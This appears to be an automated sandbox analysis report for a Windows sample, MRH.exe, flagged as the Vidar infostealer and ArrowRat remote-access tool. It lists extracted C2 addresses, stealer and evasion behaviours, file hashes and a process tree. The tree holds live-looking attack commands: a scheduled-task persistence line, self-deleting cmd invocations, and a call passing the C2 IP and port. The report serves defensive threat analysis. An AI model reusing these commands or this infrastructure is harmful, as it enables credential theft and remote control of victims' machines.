Overview

overview

10

Static

static

MRH.exe

windows7-x64

10

MRH.exe

windows10-2004-x64

10

Resubmissions

11/11/2022, 23:03

221111-216jyscc6610

11/11/2022, 22:52

221111-2ttltacc2210

Analysis

  • max time kernel
    300s
  • max time network
    304s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/11/2022, 22:52

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    MRH.exe
  • Size 1.9MB
  • Sample221111-2ttltacc22
  • SHA256 e9c817d02acaf2fbb59a0a44be05dbb284ee622f50b2e2a598daac8bfb564672
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
arrowratvidar1754clientdiscoverypersistenceratspywarestealer

Malware Config

Extracted

Family

  • vidar

Version

  • 55.6

Botnet

  • 1754

C2

  • https://t.me/seclab_new

  • https://github.com/smbfhrgc

Attributes
  • profile_id

    1754

Extracted

Family

  • arrowrat

Botnet

  • Client

C2

  • 213.239.219.58:1337

Mutex

  • nPxRArUjc

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies registry class 59 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of AdjustPrivilegeToken 29 IoCs
  • Suspicious use of FindShellTrayWindow 51 IoCs
  • Suspicious use of SendNotifyMessage 23 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Windows\system32\taskhostw.exe
    taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
    1⤵
      PID:2464
      • C:\Users\Admin\AppData\Local\Temp\svchoste
        "C:\Users\Admin\AppData\Local\Temp\svchoste"
        2⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Loads dropped DLL
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3536
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\svchoste" & exit
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1076
          • C:\Windows\SysWOW64\timeout.exe
            timeout /t 6
            4⤵
            • Delays execution with timeout.exe
            PID:2128
    • C:\Users\Admin\AppData\Local\Temp\MRH.exe
      "C:\Users\Admin\AppData\Local\Temp\MRH.exe"
      1⤵
      • Checks computer location settings
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4844
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /create /tn COMSurrogate /f /sc onlogon /rl highest /tr "C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe"
        2⤵
        • Creates scheduled task(s)
        PID:804
      • C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe
        "C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1004
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
          3⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4632
          • C:\Windows\explorer.exe
            "C:\Windows\explorer.exe"
            4⤵
            • Modifies Installed Components in the registry
            • Enumerates connected drives
            • Checks SCSI registry key(s)
            • Modifies registry class
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:1948
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 213.239.219.58 1337 nPxRArUjc
            4⤵
              PID:1060
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\MRH.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4428
          • C:\Windows\SysWOW64\chcp.com
            chcp 65001
            3⤵
              PID:3748
            • C:\Windows\SysWOW64\PING.EXE
              ping 127.0.0.1
              3⤵
              • Runs ping.exe
              PID:2052
        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
          1⤵
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:4284
        • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
          "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
          1⤵
          • Enumerates system info in registry
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:1384

        Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              mozglue.dll
              • Path C:\ProgramData\mozglue.dll
              • Size 593KB
              • SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              nss3.dll
              • Path C:\ProgramData\nss3.dll
              • Size 2.0MB
              • SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              advapi32.exe
              • Path C:\Users\Admin\AppData\Local\Temp\advapi32.exe
              • Size 316KB
              • SHA256 b907fbec5689961e11e5b56e33f6544abf57bbdc24af7f1e7b01e83c76992ba9
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              svchoste
              • Path C:\Users\Admin\AppData\Local\Temp\svchoste
              • Size 382KB
              • SHA256 4287d8fc2a015071dd83487a66488c32dfe36f77693a71c1c7c07fb1b3afad52
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              svchoste
              • Path C:\Users\Admin\AppData\Local\Temp\svchoste
              • Size 382KB
              • SHA256 4287d8fc2a015071dd83487a66488c32dfe36f77693a71c1c7c07fb1b3afad52
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              Quoko tace wesa.exe
              • Path C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe
              • Size 801.9MB
              • SHA256 7cc3a5333334dc1d0dfb50f1e9dd946c25123b237eea5d04c4dfd28b1dff36c0
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              Quoko tace wesa.exe
              • Path C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe
              • Size 801.9MB
              • SHA256 7cc3a5333334dc1d0dfb50f1e9dd946c25123b237eea5d04c4dfd28b1dff36c0
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              memory/1004-157-0x000000000FFC0000-0x00000000101AF000-memory.dmp
              Download

              memory/1004-153-0x000000000FFC0000-0x00000000101AF000-memory.dmp
              Download

              memory/1004-147-0x0000000002E5C000-0x0000000003751000-memory.dmp
              Download

              memory/1004-144-0x0000000002E5C000-0x0000000003751000-memory.dmp
              Download

              memory/1004-145-0x0000000003760000-0x0000000003927000-memory.dmp
              Download

              memory/1004-182-0x0000000003760000-0x0000000003927000-memory.dmp
              Download

              memory/1060-190-0x0000000005D90000-0x0000000005DF6000-memory.dmp
              Download

              memory/1060-191-0x0000000006060000-0x00000000060B0000-memory.dmp
              Download

              memory/1060-187-0x0000000000400000-0x0000000000418000-memory.dmp
              Download

              memory/1384-226-0x00000274A12C2000-0x00000274A12CD000-memory.dmp
              Download

              memory/1384-225-0x00000274A12C2000-0x00000274A12CD000-memory.dmp
              Download

              memory/1384-232-0x00000274A12E0000-0x00000274A12E3000-memory.dmp
              Download

              memory/1384-230-0x00000274A12E0000-0x00000274A12E3000-memory.dmp
              Download

              memory/1384-220-0x00000274A12C2000-0x00000274A12CD000-memory.dmp
              Download

              memory/1384-239-0x00000274A12E8000-0x00000274A12EC000-memory.dmp
              Download

              memory/1384-221-0x00000274A12C2000-0x00000274A12CD000-memory.dmp
              Download

              memory/1384-223-0x00000274A12C2000-0x00000274A12CD000-memory.dmp
              Download

              memory/1384-228-0x00000274A12C2000-0x00000274A12CD000-memory.dmp
              Download

              memory/1384-242-0x00000274A12EC000-0x00000274A12EF000-memory.dmp
              Download

              memory/1384-244-0x00000274A12EC000-0x00000274A12EF000-memory.dmp
              Download

              memory/1384-243-0x00000274A12EC000-0x00000274A12EF000-memory.dmp
              Download

              memory/1384-227-0x00000274A12C2000-0x00000274A12CD000-memory.dmp
              Download

              memory/1384-224-0x00000274A12C2000-0x00000274A12CD000-memory.dmp
              Download

              memory/1384-216-0x000002749F080000-0x000002749F088000-memory.dmp
              Download

              memory/1384-215-0x000002749E300000-0x000002749E400000-memory.dmp
              Download

              memory/1384-233-0x00000274A12E0000-0x00000274A12E3000-memory.dmp
              Download

              memory/1384-231-0x00000274A12E0000-0x00000274A12E3000-memory.dmp
              Download

              memory/1384-238-0x00000274A12E8000-0x00000274A12EC000-memory.dmp
              Download

              memory/1384-222-0x00000274A12C2000-0x00000274A12CD000-memory.dmp
              Download

              memory/1384-217-0x00000274A12C2000-0x00000274A12CD000-memory.dmp
              Download

              memory/1384-236-0x00000274A12E8000-0x00000274A12EC000-memory.dmp
              Download

              memory/1384-237-0x00000274A12E8000-0x00000274A12EC000-memory.dmp
              Download

              memory/1384-214-0x00000274B44D0000-0x00000274B45D0000-memory.dmp
              Download

              memory/1384-219-0x00000274A12C2000-0x00000274A12CD000-memory.dmp
              Download

              memory/1384-218-0x00000274A12C2000-0x00000274A12CD000-memory.dmp
              Download

              memory/1384-203-0x000002749F270000-0x000002749F290000-memory.dmp
              Download

              memory/1384-208-0x00000274A12CA000-0x00000274A12CE000-memory.dmp
              Download

              memory/1384-210-0x00000274A12CA000-0x00000274A12CE000-memory.dmp
              Download

              memory/1384-211-0x00000274A12CA000-0x00000274A12CE000-memory.dmp
              Download

              memory/1384-212-0x00000274A12CA000-0x00000274A12CE000-memory.dmp
              Download

              memory/1384-209-0x00000274A12CA000-0x00000274A12CE000-memory.dmp
              Download

              memory/3536-156-0x0000000000AE0000-0x0000000000B25000-memory.dmp
              Download

              memory/3536-195-0x0000000000AE0000-0x0000000000B25000-memory.dmp
              Download

              memory/3536-151-0x0000000000B40000-0x0000000000BFF000-memory.dmp
              Download

              memory/3536-194-0x0000000000B40000-0x0000000000BFF000-memory.dmp
              Download

              memory/3536-154-0x0000000000B40000-0x0000000000BFF000-memory.dmp
              Download

              memory/3536-152-0x0000000000B40000-0x0000000000BFF000-memory.dmp
              Download

              memory/3536-155-0x0000000000B40000-0x0000000000BFF000-memory.dmp
              Download

              memory/3536-158-0x0000000061E00000-0x0000000061EF3000-memory.dmp
              Download

              memory/4632-183-0x0000000005E60000-0x0000000006404000-memory.dmp
              Download

              memory/4632-177-0x0000000000400000-0x000000000042C000-memory.dmp
              Download

              memory/4632-181-0x0000000000400000-0x000000000042C000-memory.dmp
              Download

              memory/4632-184-0x00000000059A0000-0x0000000005A3C000-memory.dmp
              Download

              memory/4632-188-0x0000000005C80000-0x0000000005D12000-memory.dmp
              Download

              memory/4632-189-0x0000000005B50000-0x0000000005B5A000-memory.dmp
              Download

              memory/4844-132-0x000000000321F000-0x0000000003B14000-memory.dmp
              Download

              memory/4844-141-0x0000000003B2C000-0x0000000003CF3000-memory.dmp
              Download

              memory/4844-136-0x0000000003B2C000-0x0000000003CF3000-memory.dmp
              Download

              memory/4844-134-0x000000000321F000-0x0000000003B14000-memory.dmp
              Download

              memory/4844-133-0x0000000003B2C000-0x0000000003CF3000-memory.dmp
              Download